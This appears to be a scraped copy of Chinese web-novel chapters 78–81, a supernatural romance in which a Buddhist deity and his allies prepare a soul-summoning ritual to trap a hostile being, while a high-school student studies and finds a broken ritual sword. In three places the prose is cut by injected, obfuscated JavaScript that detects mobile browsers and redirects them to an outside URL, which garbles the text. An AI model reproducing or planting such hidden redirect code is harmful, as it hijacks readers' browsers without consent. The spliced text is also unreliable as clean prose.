庄晓有告知过罗爱曜,他当时是怎么逃出来的,但罗爱曜很清楚,这条路不是双向通行。一想到纪复森会唐突地恶心人、报复人,罗爱曜认为问题的关键是要破坏纪复森报复的能力,也就是祂做出即时反应的能力。这一点也是庄晓想要的。定计划切忌贪心,罗爱曜很快就有了想法,也通过交换这个想法,从庄晓手里要来了他很感兴趣的怀表相框——可以暂停时间、收容非人存在并施以某种非凡行动能力的容器。 “我之前不愿意相信这沙漏装置以宽阔水面为媒介,是因为我曾经很熟悉这一媒介。”蒋良霖眺望着冬雾弥漫的紫坪铺水库,忧心忡忡道,“你知道的,我的来处更挂靠所谓传统的神话。我突然想起了和故人本应该谈但是没谈的话题。” “你知道昆仑吗?”蒋良霖问罗爱曜。 “世有昆仑,世无昆仑。”罗爱曜语气玩味,“有意思。” 78.旧日幸存者篇(三十) 世有昆仑,意指此片大地上,无人不知晓昆仑神山,昆仑是某种更深层记忆的组成部分。 世无昆仑,则指众人传承记忆中的昆仑早已不见,阆苑无踪,北斗寂寥。 郎放没有跟来,他和龙女留在酒店,这是罗爱曜离开之前就布置好的。罗爱曜这人一起心思,事情总是难免往混沌邪性的方向滑落,在他身上没有明确的因果,也就是好人不会得到回报,坏人不会得到惩罚的因果,这使得罗爱曜做事几乎毫无束缚,只纯靠他的直觉来调控与刹车。 不知为何,现下有种做坏事的氛围,某种险恶的氛围。绝不出自正义,也与公道无关。在这样的背景下,罗爱曜不择手段,便放下姿态、放缓态度,愿意和蒋良霖合作。 蒋良霖在路边打了几个电话,最后一次终于接通。蒋良霖先寒暄几句,他与通话对象的前后辈关系似乎不是很明朗,有时蒋良霖直接,有时蒋良霖又谦逊,反正是兜圈子问好,拉家常几分钟,蒋良霖终于找到切口,直入话题:“你说你的昆仑瑶池当年被破了,是怎么个破法?我之前以为你说‘被破’,指的是被摧毁,但既然你的瑶池依然运行良好,那昆仑呢?……不是,不是那个人的消息。他已经彻底消逝了,我们当时都见证过,不是他的问题。具体的事宜我之后会去B市和你面聊,你就告诉我昆仑的状态到底如何就行。” 他们的车停在路边,罗爱曜纵目紫坪铺水库这一壮观的人类工程,心里一条一条地过计划。 要破坏纪复森做出即时反应的能力,但无法像砍断人手脚那样制住纪复森。所以他们要搞清楚沙漏装置的用途。或者,在搞清楚之前,他们就得想办法解决掉这一装置。 要做到何种程度?如果要达到预想中的效果,会引起灾难吗?罗爱曜估算工作量,认为他们的做法理应精准、一击致命。范围扩大没有任何好处。 要用庄晓做人质还是用庄晓做诱饵?都不合适。诱饵,无非人或神。这是无能的策略,划去。纪复森狡猾,常规思路行不通。非常规的思路,要用罗爱曜之前从未考虑到的思路。庄晓说庄理安在励光厂的地界内几乎是盲人,庄理安和纪复森同源同种,纪复森会选择如此曲折地开一个风洞安插在施霜景家,应该是出于下策。励光厂仍然是风水宝地,罗爱曜之前举行焰口法会,厂民全数参加,罗爱曜的庇护到现在仍未散去,厂民的精神状态在最近应当远超了普通人,这真是歪打正着。 或许这样有用。 计划在罗爱曜脑中逐渐成型,只是这回要执行的工序前所未有地繁杂,阵仗范围不大,可工作都相当精细,具体能达成的效果也是为止。 罗爱曜年轻,纵使他再天才,实践经验也有限,更别说“实战”。他是文雅人,报复纪复森和降妖除魔差别大了去了,没见过那么脏的。罗爱曜走一步看一步,但他不打算跟任何人说他的心态是走一步看一步。他心态稳定,其他人则不一定。反正大的策略是有了,细节灵活调整吧。 蒋良霖挂断电话,稍作整理,沉声静气说道:“刚刚那位故人……我不卖关子了,她是西王母现世,但……这些神话阶级已经完全礼崩乐坏了,这是很早以前的事,详细说也没有意义。我之前就想过一个问题,神话的维度与人类世界的维度是两码事,比如人类认知的地球其实是一个球形的平面,以我们自身为参考系,人是在平面上生活的,天就是天,地就是地。但对我们钟山神和其他神话生物来说,我们在一场战争之后,被置于一个对折的维度,这是我最初研究钟山神分布的时候发现的,钟山神的分布有时垂直于轴线,所以在记载中,有时候同一种钟山神既在东边,又在西边——甚至南边。人们在混乱的方位中见到钟山神,是因为轴在变动,轴不稳定。” “我和郎放在一起之后,我就对这种对称结构非常敏感。纪复森那个东西严重地扰乱了我的思考能力,好像总是压线擦过去,始终过不了那道坎,我找个词来形容一下……大概是‘抗性’不足。是直到最近郎放梦见沙漏装置的精度增加,我才逐渐抓住这一特征。 “纪复森的‘飞船’也有这个结构,这其实很不寻常,而且祂的存在时间大抵应该覆盖那一纪元,我只是很隐隐约约记得西王母提过昆仑瑶池被破,但我以前以为那是相连的,你懂吗。今天我才反应过来,昆仑为山,黑水为中轴,镜像出蓬莱——海上蓬莱。巴别塔会不会是失败的昆仑?金字塔会不会是微缩的昆仑?山和塔在人的意识中是同种原型。轴的不稳定会不会和昆仑与蓬莱有关?某种质量失衡? “——昆仑消失了。西王母以为是被破坏了,但她知道昆仑很难被破坏,只是不见了。我猜想,昆仑是否被偷,或是被出卖了。就像一个小孩为了完成愿望而偷走别人的东西一样。” 他们选择来紫坪铺水库,一是这属于郎放之前确定的坐标之一,二是这样宽广的水域适合见证神迹。蒋良霖打完那个电话,水库上的冷雾更浓,仿佛马上有什么无形之物要借雾的实体显形一般。罗爱曜忽然说:“纪复森要真是小偷,确实应该在你们的群体中掩蔽自己的身形,让你们都无法察觉它的存在。除非你们有回收昆仑的方式,现在还是不要打草惊蛇为好。我好奇的是,昆仑怎么成为‘飞船’?是什么改造吗?这是你们现代人的‘科学’?” “我不知道,我也很好奇。”蒋良霖吐出一口寒气如吐烟,雾浓到一定程度,蒋良霖如浑身一轻,总算完成,他说:“好了,我的准备做完了。我和小鼓不一样,她是真的龙,我是概念的龙,要我上场的话,我要前摇读条的。” 罗爱曜说:“知道了。听完你的推测,我倒确定了,我的规则确实比它严苛。平面也好,中轴也好,或是你们所认为的佛国大千世界、芥子须弥也好……不论是捉一只虫子还是捉一枚台风眼,流水不腐,户枢不蠹,动也,我们需要吓吓这个家伙。它应该觉得这个世界就是这样了。我们或许捉不住这只虫子,也根本无法按熄台风眼。所有事物都是在窥见自己灭亡的可能性中才得以灭亡的。纪复森在精神层面或许从来没有离开过羊水。它吃掉了那么多神祇,什么也没有发生。要做的只有打个响指,让它从美梦中醒过来。” 励光厂,施霜景家中。 罗爱曜走之前于家中布下宝殿密咒,原是用来困住不速之客,可纪复森又不傻,他的风洞已经起过很大作用了,一次报复施霜景和蒋念琅,一次报复罗爱曜家小猫。罗爱曜持咒,改换宝殿功用。蒋良霖要读条,罗爱曜也要读条的。要做大事情,就是要做完美的准备。读条是必须的,是严谨的。 “断就断了,其实那天纪复森下手的时候,这手串就该断掉。”罗爱曜点评了玉米弄断蜜蜡手串的事件,非常无所谓。罗爱曜才是要做事的人,可怎么施霜景看起来比他紧张多了? 是为庄晓的经历么?罗爱曜完全无所谓。 昨天他叫施霜景回返,罗爱曜承认,他识别出庄晓的居心是非要吓施霜景一遭不可,而且施霜景还上赶着要受惊吓。罗爱曜觉得这纯粹是施霜景自作多情、徒生烦恼。罗爱曜与施霜景,纪复森与庄晓,这有什么可比性?简直是完全不同的关系。 “可是这些珠子很漂亮,我不知道有没有没找到的。一串该有多少颗?”施霜景问。 “给玉米戴的是大珠,十三颗。” “那都找齐了。我回头去买线回来,重新串好给玉米戴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512227|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不必。我看它也不喜欢戴。” 施霜景不多啰嗦,收好了蜜蜡珠。罗爱曜看了施霜景的一诊成绩,他以为施霜景会对他那分数发表点想法,可施霜景只是坐回桌前,他没背辅导材料和作业来,今天就用平板上网课。 施霜景是劳碌命,一闲下来就连他自己都知道他很无趣。不无趣的话,施霜景怕自己开口就触及一些他们避而不谈的问题。现在不是时候。 他现在手上戴郎放送的清心蛊,脖子上戴佛子的玄珠,身上给佛子抄满了诫文。施霜景活脱脱就是个封建迷信漏网之鱼。这还要怎么谈?施霜景这一整天都觉得自己完蛋了,真的。 罗爱曜洗完澡出来,施霜景托着下巴,平板屏幕都熄灭了。施霜景抬头问罗爱曜:“你们要一起去对付纪复森吗?” “算是。” “我的任务是什么?好好学习?保持安全距离?” “总结得不错。” “我今天总是忍不住想到一个极端情况,”施霜景顿了顿,组织语言,“你说你的法器是用来召唤你的,但如果你在忙怎么办?我知道你有很多法身,但……你又不是全能的。有时候就是极限对极限,只差一点点。” “你想说什么?” “你之前说要教我怎么‘精巧’地用法器,但最后也没教。但我似乎学你的密咒学得很好、很快。” 施霜景站起来,大步走到罗爱曜身前。罗爱曜还穿着浴袍,他微微下视施霜景,他还以为施霜景今天心情很糟糕呢。 施霜景的手搭在罗爱曜的浴袍结上,沉声道:“多教我一点,佛子。我必须要自保。” 这明明是在质疑罗爱曜的能力不行,可罗爱曜觉得这状态的施霜景既陌生又熟悉的。嗯,想起来了,跟初见时的状态很像。严肃的,思虑的,不安全感的。庄晓的故事起了效果。罗爱曜本来应该不悦的,可施霜景已经解掉了罗爱曜的浴袍结。 “你想学我就要教?”罗爱曜起兴。 “你没理由不教。我知道你喜欢什么。” 施霜景的心情非常复杂。如果说他从庄晓的经验里学到了什么,其实只有一点:如果要把自己交出去,则必须拿回等值的东西。说到底还是在卖。卖是丢自尊甚至丢真心,不卖是丢命或是丢脑子。施霜景接受的所有教育都在强调一句话,打铁还需自身硬,万事只能靠自己。话不能说得这么绝。施霜景心里最多的还是难过。全乱了,什么都看不清楚,只剩嘴硬。 罗爱曜笑着摘开施霜景的手,他读心啊,会有什么不知道的呢?罗爱曜说:“就凭你心里想的,我就有理由不教。可你很害怕,我似乎又该教。但不论我教还是不教,把‘卖’这个字摘出去。我早就买不了你了,也早跟你说过把这些身外之物当毯子盖在身上就行,给你是为了让你舒服。就这样还说你知道我喜欢什么?施霜景,睡觉去,纪复森的事解决之前你不要和我卖可怜。” 两个人像是用硬板打直球,打得噼里啪啦让人心惊。施霜景说不过罗爱曜,而且罗爱曜老说他卖可怜——有没有一种可能,施霜景不是可怜,而是倒霉呢? “而且老实说,我不知道要教你什么。我让你跟法器玩一玩,你就玩一玩好了,找到称心如意的再拿过来,我想想怎么教。” 罗爱曜愿意补这么一句,纯粹是因为他知道,刚才施霜景其实是想用嘴帮他做。施霜景是真的拼了。 见到施霜景的脸色终于多云转晴,罗爱曜也终于能松松弦。不对,他绷紧弦了么? *本章有关传统神话的内容来自2021年我连载的《冲喜异闻谈》。对昆仑的想法有一部分参考于长铗的《昆仑》一文。 79.旧日幸存者篇(三十一) 他们一行人在酒店多待了整整一周。 施霜景每天两眼一睁就是去吃酒店自助,早上、中午、晚上,吃腻自助就点外卖。吃腻,这两个字可真奢侈。连施霜景自己都唾弃这样的自己!郎放是酒店高卡玩家,对各酒店集团的特色服务如数家珍,就带蒋念琅和施霜景一道玩酒店设施,简直是给施霜景放延长假了。可惜只有晚上能当做放假,白天不敢玩也无心玩。 期间施霜景的家教被请来酒店补习,施霜景才放几天假,心就变野了,之前教过的题给忘得干干净净。家教老师李婉萦面无表情地敲笔记本键盘,从题库里找题,现编成卷,去附近打印店印出来,对施霜景一通暴风训练,让他想想之前教过的知识点,可不能猴子掰玉米,边掰边扔。罗爱曜有事去忙,李婉萦代替他的位置,就做现成的家教,给施霜景讲一诊卷子,顺带连他一诊前做的模拟卷都讲了,算是在罗爱曜之外多讲一遍。 李婉萦对罗爱曜的任务分配方式没意见,她甚至还细化了之前的方案。施霜景心里偷偷想,看来罗爱曜这个老师的瘾是过够了,有点庆幸又有点失落。李婉萦老师更专业,公事公办的,不会多夸施霜景,但也不会嫌弃施霜景笨。托她的福,施霜景这一周在酒店里的复习进度加快了不少。 白天学习,晚上和郎放去健身房。施霜景对健身设施蛮懵的,郎放一样样介绍,可惜施霜景白天学得头痛欲裂,晚上是塞不了任何一点知识了,听过就忘,又不好意思说自己忘了,只能在跑步机上爬爬坡。施霜景这段时间绕厂跑步,室外跑习惯了回到室内,随随便便十公里,只有爬坡还会流流汗。一天晚上施霜景跑步跑到十一点四十五,郎放已经回去睡觉了,施霜景看健身房里人不多,就对照手机教程,想琢磨琢磨器械。他刚坐上蝴蝶机,搭讪就来了,男的。施霜景冷脸跑路,就连水壶都忘记拿。 住酒店的最后一晚,施霜景有点迷茫,还有点不舍。 他和罗爱曜当然是做了,有两个晚上吧,从十一点做到一点,洗澡收工,非常规律。在酒店做和在家做感觉太不一样了,敞亮开阔的套房卧室,像梦里的家。施霜景每天早上起床拉开窗帘,落地窗外高楼大厦,城南商圈尽收眼底。玉米已适应了酒店房间,早上踩猫步到他们床上视察,两人一猫,又住酒店最顶层,施霜景再没有虚荣心也要被养出虚荣心来了。 庄晓和庄理安一直待在另一间套房里,施霜景和郎放间或去探望他们。他们三餐都在房间里吃,庄晓不愿意拉开窗帘,房间里闷黑如夜。一想到庄理安的来处,就算庄理安什么也不做,与他共处一室都会感到微妙的瘆人。 “今晚怎么会突然让我们都来?”郎放推开门,身后跟着施霜景。房间地毯上有几个敞开的优衣库大纸袋,庄晓今天在郎放的陪同下出门了。 “佛子这么喜欢拿别人的孩子做话题吗?”庄晓开门见山,而且他很清楚这是在佛子的地盘说佛子的小话,“我有种不好的预感。万一我跟你们回励光厂,佛子和蒋良霖要引纪复森出来,反倒害了我怎么办?” 郎放知道计划,施霜景不知道。施霜景只能回答前一个问题:“他是有点……他还经常提蒋念琅。嗯。之前也有一些和小孩相关的事。”施霜景指的是鬼子母神的事件。 “施霜景,如果我死了,庄理安能留在你们励光厂的福利院吗?” 施霜景一惊,为什么问他? 庄晓继续说道:“之前在励光厂里,庄理安的感知非常受限,我推想纪复森应该也是如此。我不知道这是为什么,但如果佛子和蒋良霖都出现在那里,可能那儿真是‘风水宝地’吧。如果只剩下庄理安,我真的不知道该将他安置在哪里。离你们近一点会好些么?我知道福利院里还有鬼子母神,她是新神,正是法力强大的时候,地脉圣母都没法相比。” “我不大清楚福利院收容孩子的条例,但如果孩子就在励光厂被确认是孤儿,福利院应该可以主动提出收容。” “好,那你要帮我。不然我宁愿一辈子留在这家酒店里。我无所谓。” 施霜景疑惑道:“他们到底要干什么?要把你推去送死吗?” 庄晓哂笑道:“差不多吧。他们要招我大儿子的魂。” 这真是疯狂。 回程的车上,施霜景脑海里闪回着他们昨天与庄晓的对话,庄晓父子俩坐在后排。光靠观察罗爱曜的表情,看不出他到底是胸有成竹还是无计可施。施霜景从一开始就被排除出了“可商议对象”这一范围,这不是第一天也不是第一次了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512228|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算施霜景想问,罗爱曜也并不乐意解释,这让施霜景有些不安,可有时他甚至觉得罗爱曜很享受他的不安感。 罗爱曜让庄晓父子住他们原来的家,罗爱曜、施霜景和玉米则是住到楼上自习室去。小小一栋民宅要承受这么多吗?施霜景真的很无奈。 将庄晓父子送进他们家时,施霜景往屋内看了一眼,有一瞬间他竟然眼前漆黑一片,室内什么都看不见。庄晓面色不佳,很明显受制于人,知道其中的危险,好在罗爱曜保证过,屋内的风洞绝对不会成为纪复森找上他们父子的通道,这风洞应该不得已被废弃了。 罗爱曜早前将这套房连通佛子宝殿,他从未启用过的、留待未来涅槃后的概念中的宝殿,宝殿功用贯彻佛子心性,是为佛子自己设计,涅槃后佛子将降灵感于僧侣,他们在人间修出仿冒的宝殿。 这最原本的宝殿如今是封闭空间,佛子示现的场所,可将威力无限放大。他之前这样设置,相当于封上纪复森的门。前段时间他与蒋良霖达成共识,罗爱曜重设宝殿的功用,如今已是准备好了,要举行仪式,试图召回庄晓大儿子的第八识,也就是阿赖耶识。 如果它有的话。 人人皆有八种识。罗爱曜与庄理安接触,能从他身上能找出非常接近阿赖耶识的存在,这说明庄理安进入了这个三世流转的系统中,从庄晓那儿继承的一半人类血统其实非常有存在感。纵使庄理安日后有可能变成像他父亲一样的怪物,但阿赖耶识的存在会帮助庄理安培育出他在这个世界生存、生活的灵魂根基。庄理安和纪复森到底是不一样的。光凭这一点,罗爱曜都相信庄理安应该会与纪复森走出不同的道路,需要区分看待。 只是庄理安的哥哥出生时间太短,甚至不知道它是否真正来过这个世界,罗爱曜对它是否存在阿赖耶识打个问号。让庄晓父子住进房子,是为了他们能够稳固心神,尤其是庄理安——等时机到了,离去的第八识经由仪式还复来,围猎也就开始了。 “佛子,你们胜算大吗?”回到自习室,关上门,施霜景轻声问道。 “我不知道。”罗爱曜面上的冰山终于打破,蓝眼澄明浮光,竟然是神采奕奕、兴致高昂的样子,“我从未将我的胜负欲搬上台面,这是第一次。” 80.旧日幸存者篇(三十二) 元旦节后,厂里有种提前过年的氛围,每个周六都有集会。大家买肉买菜,鸡鸭牛羊猪整只整只出货,肉铺老板剁骨的声音从早响到下午,还有卖其他年货,摊位的劣质音响里循环播放《恭喜发财》、《好运来》。 施霜景一个人在集会上采买年货,因为罗爱曜要他正常地过日子,别把罗爱曜和蒋良霖筹划的事太当回事。肉可以大年二十八、二十九再买,一些大货却可以现在就入手了。施霜景买了三箱橘子、一箱苹果和一麻袋柚子,请老板的三轮车把水果送到福利院。现在买的猪肉也可以送到福利院,刘奶奶和高大爷提前做香肠,过年正好就能吃进肚皮里。 虽说是在家学习,可施霜景的心常常难以平静,有一个很大的原因——玉米跟他们一起住到楼上自习室了。 施霜景非常崩溃,全因为玉米实在太可爱。施霜景写题,写着写着,玉米大屁股一躺,压在他的草稿纸上,紧接着两腿一蹬,直接不让他继续写了。施霜景只好把猫扒开,可玉米还不老实,用爪子不停地扒拉施霜景的水杯,弄湿他的桌面。没办法,只好将玉米关进房间,比如罗爱曜的办公室。罗爱曜在的时候还好,玉米相对比较老实,不敢闹佛子。罗爱曜不在的时候,玉米扯着嗓子哀嚎,活像是房间里有鬼吓它。玉米和施霜景斗法,斗来斗去,施霜景发现自己连只猫都斗不过,玉米在他的桌子上横躺竖躺,诱惑施霜景伸手摸自己,舔毛、洗脸、打呼,什么都不落下。它只是太爱我了!只想黏着我!施霜景自我安慰道。 老实说,施霜景不知道楼下的庄晓和庄理安过着什么样的生活。他们吃什么?他们睡得好吗?有什么需要添置的吗?这些都不归施霜景考虑,因为他是人类。 他们之间永远隔了一层白纱。白,意味着某种善意的模糊。纱,看似轻柔,实则细密不可破。“他们”指谁?需要区分得更清楚吗?罗爱曜不是人,蒋良霖不是人,郎放不是人,小鼓不是人。他们不是人,那他们是什么?是完全不一样的存在不是么?到头来,大家都能看清施霜景,因为人类就是最普通的、哪儿都有的。平庸的人类需要将关注都留给自己。人类没有能力去管他们的事。 李婉萦说,如果施霜景不给自己上上发条,他够呛能在年后回班级跟大家一起复习,言下之意是她认为施霜景的进度还是慢了。施霜景回家又做了两天题,觉出李婉萦和罗爱曜在教学上的差别。李婉萦打印了知识点的清单,完全脱离课本也能学,一张A4纸的知识点对应三张正反面的练习题,由易到难,很有梯度。但罗爱曜更擅长讲概念和例题,不知道他怎么办到的,但施霜景听懂罗爱曜讲公式、定理的次数远多于听懂李婉萦的,尤其是数学。 只可惜罗爱曜最近总是出门。就算回来,罗爱曜也不主动过问施霜景的学习,就好像他提前给自己放了寒假一样。 今天罗爱曜依旧不在家,施霜景给自己做了一道水煮肉片,正要配着白米饭开吃的时候,他收到了庄晓的微信消息。是的,庄晓有手机,之前他们已经加过了联系方式,这是礼貌。 庄晓:我闻到你做饭的香味了,好香 一剑霜寒:…… 一剑霜寒:要不要来点? 一剑霜寒:[一大盆水煮肉片照片] 庄晓:我就知道 庄晓:我闻到泼油的辣椒香味了 庄晓:可以来点吗,小安也想尝尝 一剑霜寒:好,等我 施霜景这可不就来劲了么。他之前的餐具都留在了楼下,怕庄晓自己做饭时没东西用,但施霜景很聪明地把他的那些饭盒都打包带到楼上来了,正好给庄晓父子一人装一份。 单层单隔的饭盒,左边装水煮肉片,右边装白米饭,再将蒜泥笋尖码在米饭上,施霜景把肉片分了三分之二给他们,蔬菜则全给了,反正回来还可以再炒一盘。 施霜景装了两个饭盒下楼,敲门,庄晓很快就开门,室内依旧是暗色到看不清任何东西,施霜景已经习惯了,只交代了几句,让庄晓和庄理安不要硬吃,施霜景是S省人,做菜是挺辣的,庄晓的家乡不怎么吃辣,就得悠着点。庄晓表示他个人能吃,庄理安吃不了的份也由他来吃。 这会儿站在门口闲聊时,施霜景才得知,原来庄晓和庄理安的餐食是由蒋良霖准备,但庄晓其实不大吃得惯蒋良霖的调味。他们不让庄晓点外卖,不能让陌生人类有机会看到门内的任何场面,否则人类有危险。蒋良霖送了菜给他们,庄晓这几天正试着捡起自给自足做饭的手艺,可惜他做甜点有天赋,做饭就非常普通,今天要不是施霜景做饭太香,他不会开这个口。 回到家中,施霜景隐隐约约察觉到自己的用处。不知为何,在某种安排下,好像人类总是忙于琐碎,而非人则是忙于惊世。庄晓被关,他也被关。好吧,两者性质不同,但这种无力的感觉——施霜景沉肩,吐出胸中郁气,想要暂时忘记这种感觉,于是进食。进食完,施霜景胸中那某种不得劲的、沉甸甸的憋闷感更清楚了,他草草收碗筷进厨房,进一趟浴室。 他双手撑着洗手池,镜子里倒映出穿条纹长袖T恤的他,有点像美剧里穿囚服的犯人。施霜景洗手、洗脸,忽然有些双目胀痛,就用清水再冲了冲眼睛。用毛巾擦干脸,施霜景忽从镜中看见自己身后的家里一阵金光。金光本是吉祥兆,但施霜景不会再被这种看似吉祥的迹象蒙骗了!估计又是佛子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516729|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留了什么吧。 施霜景无法从浴室镜子确定那金光的光源从何处而来,又没办法移动浴室镜子,只好打开手机前置摄像头。吊诡的是,前置摄像头竟然也有用!施霜景只能让自己的脸占据半个屏幕,然后另一旁空出来去找金光的源头。 从浴室出来,到走廊,不是左右两个房间,施霜景专门打开门来看过了。那么就是客厅。施霜景一路倒退,只见手机里的客厅,金光更盛,但施霜景一回头,客厅什么都没有。 沙发没有,窗户没有,桌子没有……金光太刺眼,施霜景几乎不能从前置摄像头里看到客厅的场景了,只剩下金光和他。当镜头转至收纳的橱柜时,前置摄像头黑了。施霜景回身,果断地打开上橱柜,没有。那么就是下橱柜。 下橱柜里赫然躺了一把看不明白的玩意。 看手柄像是金刚杵,但比杵要更大上一圈。施霜景蹲下身仔细打量,果断握上去,郁闷情思一扫而空,如清风破障。拿在手里也沉,很有份量。施霜景拿近了看,才发觉在握柄上端是一截断面,其形状不大像是金刚杵,杵尖通常不长而且呈三菱柱型。这是较薄、较宽的断面,像刀或者剑。 施霜景下意识摸了摸项上的佛子玄珠,这肯定是从玄珠里来的,一看就知道是宗教法器。施霜景被罗爱曜仔细教育过,不能形容他是佛教,但是可以形容他是佛门密教。那就是密教法器。可这法器怎么是断的?施霜景努力让自己不要总是盯着断面看,至少剑柄如此精美,小而浑圆的金刚轮置于剑柄中央,三脉宝笼给人以轻轻旋转的错觉,还有莲花纹和小到让人难以辨别的梵文经。连接剑柄的只剩大约两厘米的剑身,断是断了,却像是崭新的,铁色霜寒,如银如雪。施霜景再凑近,眼睛离剑身只有几厘米,看见剑体内隐隐约约有什么,可他一点也看不清楚。 这是不是就是罗爱曜所说的,跟法器玩一玩,等法器找上门? 可惜是一把断剑。施霜景轻声叹息。总比没有好吧! 他将断剑放回橱柜内,等罗爱曜回家再问。施霜景还担心自己是不是打扰到这法器了,放在橱柜里像正在睡觉似的。可刚才的金光难道不是在引起他的注意力?施霜景又拉开橱柜,仔细摸了摸剑柄,说是摸都轻了——仔细盘了盘剑柄。虽然不是武侠小说里那样威风、凌厉的剑,但法器剑也给人一种锐利、潇洒的感觉啊!光看剑柄就知道。 随着柜门的关闭,黑暗席卷重来。残剑静静地躺在橱柜中央,倘若有一枚极为高清的镜头,对准残剑剑体处,会看见细密的、斑驳颜色的微尘正缓缓合聚,剑岿然不动,只有断剑之尖笼在一层人眼几乎不可见的尘雾中,徐徐生长,色杂却凝聚成白。 81.旧日幸存者篇(三十三) 从前天开始,C市冬雨不停,堪比夏季。周边水库发出防汛通知,市内地铁偶有停运,雨最大的时候路上积水积到车门的一半高度。 施霜景将他在橱柜里发现的残剑展示给罗爱曜看,罗爱曜一言不发,这十分罕见。施霜景要将残剑放回橱柜之时,罗爱曜忽然拦住他的动作,要施霜景将残剑随身携带,在家则是放在靠近床的地方,床头柜或是衣柜都行。施霜景问为什么,罗爱曜不答。施霜景只能将残剑放进书包,每次出门都要背书包。 凄风冷雨笼罩着励光厂,厂里大部分居民都是老年人,大雨滂沱之际大多是不愿出门的,每天在路上行走的除了还没放假的学生,就是要上班的成年人。最近厂里多了很多新面孔,任谁都能看出他们的徘徊不怀好意。 施霜景很自然地想到了纪复森的信徒们。 根据庄晓的情报,纪复森似乎收留了相当多的信徒,平时将他们聚集起来、藏起来,让他们在幻觉、臆想和癫狂中消磨生命,等待纪复森的指引。庄晓说,在励光厂判断这些人的方式非常简单,看他们的眼睛——在他们的漆黑瞳孔旁边,会有一个看似反光点、实则烙在视网膜上的白斑。可能由于纪复森的“视力”在励光厂受限,祂通过这一方式来“看见”本应该看见的东西。出了励光厂所碰见的其他信徒会有别的特征。庄晓非常擅于总结这些细微的差异。 招魂仪式即将举行,施霜景非常好奇,他楼下的家那么小,怎么举行仪式?佛子的仪式不都很大阵仗吗? 愈是临近仪式,施霜景愈是能觉得自己被排斥在外,大家都不告诉他具体是什么安排,更别说有什么“用得上他的地方”。庄晓行动受限,又不愿意在通讯联络上说,施霜景知道仪式安排的最后一个窗口也被关上。罗爱曜对施霜景就像施霜景对玉米,知道你听不懂、无能为力,最后只要通知、行动就好。施霜景会对玉米解释它所受的袭击或是他们频繁的搬家吗?施霜景不会,罗爱曜也就不会。 “系在眼睛上。”罗爱曜递过来长条形的蓝绸,“你在楼下的家里绝对不能摘下它。” 施霜景试着绑蓝绸,他问:“我不会故意摘,但万一被弄掉了呢?” 罗爱曜略一思索,回答道:“昨晚我亲过你的眼睛,应该能抵一阵。如果弄掉了,立刻重新系上。” “那要是布没了呢?” 罗爱曜没想到施霜景这么谨慎,他又拿来一条,斟酌几秒,塞进施霜景的衣兜里,“备用。” …… 应该没什么可担心的了。 下楼前施霜景给玉米放了非常充足的食物和水,罗爱曜给自习室做好了布置,这才能安心锁门。站在楼下的家门前,施霜景紧了紧眼睛上的绸带条,冰凉柔滑,确实很不安全的感觉。 这下他什么也看不见了,罗爱曜拉着他的手腕,口头提醒,让施霜景抬脚,迈进门。施霜景听见了关门的声音。 起初完全是漆黑一片,脚步不停,施霜景马上就意识到,这绝对不是能在居民房里走出的步数,这已经不是他们日常的家了,室内完全是另一个空间。而后视野右侧忽然出现微弱如燃烛的光迹,施霜景的注意力全转向这唯一的光,很快地,他重新看到了罗爱曜,也看见了其他人。 原来眼上戴布的不止是施霜景。除了罗爱曜,其他每一个参与者都要戴,不论是不是人类。施霜景甚至能分出颜色的区别。郎放戴的是红布,蒋良霖和蒋念琅戴的是黑布,庄晓和庄理安则戴明黄色。 除庄晓父子,其他人都直身站立。庄晓与庄理安跪坐在金色蒲团上,低头弓身。庄理安很不自在的样子,偶尔会转头张望,反倒是庄晓一副十分虔诚的模样,应该是做好准备了。 那亮光不知从何而来,隐隐约约,模模糊糊,找不到切实的光源。罗爱曜松手,将施霜景留在郎放身边。施霜景、郎放、蒋良霖和蒋念琅围成弧形,站在庄晓父子身后。罗爱曜蹲下身去检查庄晓父子已经完全遮好了眼,他低声与庄晓说了几句,转而去牵庄理安。庄理安起初有些抗拒的,庄晓安慰他,庄理安才慢慢平静下来,最终跟随罗爱曜往前走。 “我也要上前。小景,如果一会儿蒋良霖也过去了,请你帮我们牵住小鼓。”郎放这样说道。 施霜景应下。 蒋念琅热乎乎的小手握住施霜景,她从出生以来见过的大事不可谓不多,但今天这阵仗也是她第一次。 